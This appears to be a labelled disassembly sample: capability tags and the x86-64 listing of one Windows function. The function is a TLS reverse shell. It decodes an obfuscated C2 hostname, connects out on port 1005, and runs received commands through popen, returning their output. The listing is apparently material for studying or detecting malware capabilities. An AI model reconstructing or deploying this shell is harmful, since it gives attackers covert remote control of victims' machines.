Function at 0x1400017d1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push rbp
push rdi
mov eax, 0x2658
call fcn.140002ee0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov qword [rbp + 0x25c0], 0xffffffffffffffff
lea rax, str.hkuzm.ld
mov rcx, rax
call sym.ceasar
mov qword [rbp + 0x25b8], rax
mov dword [rbp + 0x25b4], 0x3ed
mov qword [rbp + 0x1fb0], 0x7f
mov qword [rbp + 0x1fb8], 0
lea rdx, [rbp + 0x1fc0]
mov eax, 0
mov ecx, 0x7e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x23d0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001874
mov eax, 1
jmp 0x140001dd9
mov rax, qword [rbp + 0x25b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x25a8], rax
cmp qword [rbp + 0x25a8], 0
jne 0x1400018a2
mov ecx, 2
call sym.exit
lea rax, [rbp + 0x23c0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x23c0], 2
mov rax, qword [rbp + 0x25a8]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x25a8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x23c0]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
mov eax, dword [rbp + 0x25b4]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x23c2], ax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x25c0], rax
cmp qword [rbp + 0x25c0], 0xffffffffffffffff
jne 0x140001944
mov eax, 1
jmp 0x140001dd9
lea rdx, [rbp + 0x23c0]
mov rax, qword [rbp + 0x25c0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x140001973
mov eax, 1
jmp 0x140001dd9
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
call rax
mov qword [rbp + 0x25a0], rax
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
add rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x25c8], rax
mov rdx, qword [rbp + 0x25a0]
mov rax, qword [rbp + 0x25c8]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x25c8]
add rax, rdx
mov byte [rax], 0x3e
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x25c8]
add rax, rdx
mov byte [rax], 0x20
mov edx, 0
mov ecx, 0
call sym.OPENSSL_init_ssl
mov edx, 0
mov ecx, 0
call sym.OPENSSL_init_ssl
mov edx, 0
mov ecx, 0x200002
call sym.OPENSSL_init_ssl
call sym.TLS_client_method
mov qword [rbp + 0x2598], rax
mov rax, qword [rbp + 0x2598]
mov rcx, rax
call sym.SSL_CTX_new
mov qword [rbp + 0x2590], rax
cmp qword [rbp + 0x2590], 0
jne 0x140001a64
mov eax, 1
jmp 0x140001dd9
mov rax, qword [rbp + 0x2590]
mov rcx, rax
call sym.SSL_new
mov qword [rbp + 0x2588], rax
mov rax, qword [rbp + 0x25c0]
mov edx, eax
mov rax, qword [rbp + 0x2588]
mov rcx, rax
call sym.SSL_set_fd
mov rax, qword [rbp + 0x2588]
mov rcx, rax
call sym.SSL_connect
test eax, eax
jg 0x140001aaf
mov eax, 1
jmp 0x140001dd9
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
add eax, 2
mov ecx, eax
mov rdx, qword [rbp + 0x25c8]
mov rax, qword [rbp + 0x2588]
mov r8d, ecx
mov rcx, rax
call sym.SSL_write
lea rax, [rbp + 0xfb0]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0xfb0]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x2588]
mov r8d, 0x1000
mov rcx, rax
call sym.SSL_read
mov dword [rbp + 0x2584], eax
cmp dword [rbp + 0x2584], 0
jle 0x140001af6
lea rax, [rbp + 0xfb0]
lea rdx, str.exit_n
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001b5f
mov ecx, 0
call sym.exit
movzx eax, byte [rbp + 0xfb0]
test al, al
je 0x140001bab
movzx eax, byte [rbp + 0xfb1]
cmp al, 0x3a
jne 0x140001bab
movzx eax, byte [rbp + 0xfb0]
mov byte [rbp + 0xfac], al
mov byte [rbp + 0xfad], 0x3a
mov byte [rbp + 0xfae], 0x5c
mov byte [rbp + 0xfaf], 0
lea rax, [rbp + 0xfac]
mov rcx, rax
call sym.chdir
jmp 0x140001d0a
movzx eax, byte [rbp + 0xfb0]
cmp al, 0x63
jne 0x140001c4a
movzx eax, byte [rbp + 0xfb1]
cmp al, 0x64
jne 0x140001c4a
movzx eax, byte [rbp + 0xfb2]
cmp al, 0x20
jne 0x140001c4a
lea rax, [rbp + 0xfb0]
add rax, 3
mov edx, 0xa
mov rcx, rax
call sym.strchr
mov rdx, rax
lea rax, [rbp + 0xfb0]
add rax, 3
sub rdx, rax
mov qword [rbp + 0x2578], rdx
lea rax, [rbp + 0xfb0]
add rax, 3
lea rdx, [rbp - 0x60]
mov rcx, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2578]
mov r8, rax
call sym.memcpy
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x2578]
add rax, rdx
mov byte [rax], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.chdir
jmp 0x140001d0a
lea rax, str.blc__B
mov rcx, rax
call sym.ceasar
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0xfb0]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x60]
lea rdx, [0x140005017]
mov rcx, rax
call sym.my_popen
mov qword [rbp + 0x2570], rax
jmp 0x140001ce4
mov rdx, qword [rbp + 0x2570]
lea rax, [rbp + 0xfb0]
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call sym.fgets
test rax, rax
je 0x140001ce4
lea rax, [rbp + 0xfb0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x2588]
mov r8d, ecx
mov rcx, rax
call sym.SSL_write
mov rax, qword [rbp + 0x2570]
mov rcx, rax
call sym.feof
test eax, eax
je 0x140001c97
mov rax, qword [rbp + 0x2570]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
call rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
call rax
mov qword [rbp + 0x25a0], rax
mov rax, qword [rbp + 0x25c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
add rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x25c8], rax
mov rdx, qword [rbp + 0x25a0]
mov rax, qword [rbp + 0x25c8]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x25c8]
add rax, rdx
mov byte [rax], 0x3e
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x25c8]
add rax, rdx
mov byte [rax], 0x20
mov rax, qword [rbp + 0x25a0]
mov rcx, rax
call sym.strlen
add eax, 2
mov ecx, eax
mov rdx, qword [rbp + 0x25c8]
mov rax, qword [rbp + 0x2588]
mov r8d, ecx
mov rcx, rax
call sym.SSL_write
jmp 0x140001af6
add rsp, 0x2658
pop rdi
pop rbp
ret